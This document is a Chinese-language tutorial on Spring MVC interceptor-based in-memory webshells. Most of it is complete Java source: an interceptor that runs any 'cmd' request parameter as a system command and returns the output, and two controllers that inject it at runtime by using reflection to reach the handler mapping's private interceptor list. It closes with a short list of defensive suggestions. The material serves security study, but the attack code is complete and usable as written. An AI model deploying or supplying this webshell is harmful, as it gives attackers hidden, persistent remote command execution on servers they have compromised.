Spring Interceptor 内存马分析
字数 1230 2025-08-29 08:31:53
Spring Interceptor 内存马分析与实现
1. 基本概念
Spring Interceptor 内存马是一种基于 Spring MVC 拦截器机制的无文件攻击技术,它通过动态注册恶意拦截器来实现命令执行等功能,具有隐蔽性强、难以检测的特点。
2. 基础拦截器实现
2.1 创建恶意拦截器
package com.example.demo;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
res.getWriter().write(new String(bytes, 0, len));
process.destroy();
return false;
} else {
return true;
}
}
public void postHandle(HttpServletRequest request, HttpServletResponse response,
Object handler, ModelAndView modelAndView) throws Exception {
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception ex) throws Exception {
}
}
2.2 注册拦截器
package com.example.demo;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new MyInterceptor());
}
}
3. 拦截器调用流程分析
-
调用栈分析:
DispatcherServlet#doDispatch调用mappedHandler.applyPreHandleHandlerExecutionChain#applyPreHandle调用拦截器的preHandle方法
-
关键对象获取:
mappedHandler由this.getHandler获取mapping是requestMappingHandlerMapping(一个 Spring bean)
-
拦截器链构建:
AbstractHandlerMapping#getHandlerExecutionChain方法遍历this.adaptedInterceptors- 如果是
MappedInterceptor会判断 URL 是否匹配 - 否则直接加入 chain 中
4. 内存马注入实现
4.1 基本注入方式
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try {
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 获取AbstractHandlerMapping实例
AbstractHandlerMapping abstractHandlerMapping =
(AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取adaptedInterceptors字段
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
// 实例化并注册恶意拦截器
MyInterceptor m = new MyInterceptor();
adaptedInterceptors.add(m);
} catch (Exception e){
e.printStackTrace();
}
}
}
4.2 指定路径的注入方式
import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try {
// 获取context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 获取AbstractHandlerMapping实例
AbstractHandlerMapping abstractHandlerMapping =
(AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取adaptedInterceptors字段
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
// 实例化恶意拦截器并创建MappedInterceptor
MyInterceptor m = new MyInterceptor();
String[] path = new String[]{"/login"}; // 指定路径
MappedInterceptor mi = new MappedInterceptor(path, null, m);
adaptedInterceptors.add(mi);
} catch (Exception e){
e.printStackTrace();
}
}
}
5. 关键点说明
-
获取WebApplicationContext:
- 通过
RequestContextUtils.findWebApplicationContext获取当前请求的上下文 - 需要先获取
RequestContextHolder.currentRequestAttributes()
- 通过
-
获取HandlerMapping:
requestMappingHandlerMapping是 Spring MVC 的核心组件- 通过
context.getBean("requestMappingHandlerMapping")获取
-
拦截器存储位置:
- 拦截器存储在
AbstractHandlerMapping的adaptedInterceptors字段中 - 需要通过反射访问这个私有字段
- 拦截器存储在
-
路径限制:
- 使用
MappedInterceptor可以限制拦截器只在特定路径生效 - 注意路径必须是存在的路由,否则不会触发
- 使用
6. 防御建议
- 监控
AbstractHandlerMapping.adaptedInterceptors的修改 - 限制反射操作,特别是对私有字段的访问
- 检查应用中是否存在未知的拦截器
- 实施严格的权限控制,防止未授权的代码执行
7. 总结
Spring Interceptor 内存马通过动态注册恶意拦截器实现持久化攻击,其核心在于利用 Spring MVC 的拦截器机制和反射技术。理解其实现原理对于防御此类攻击至关重要。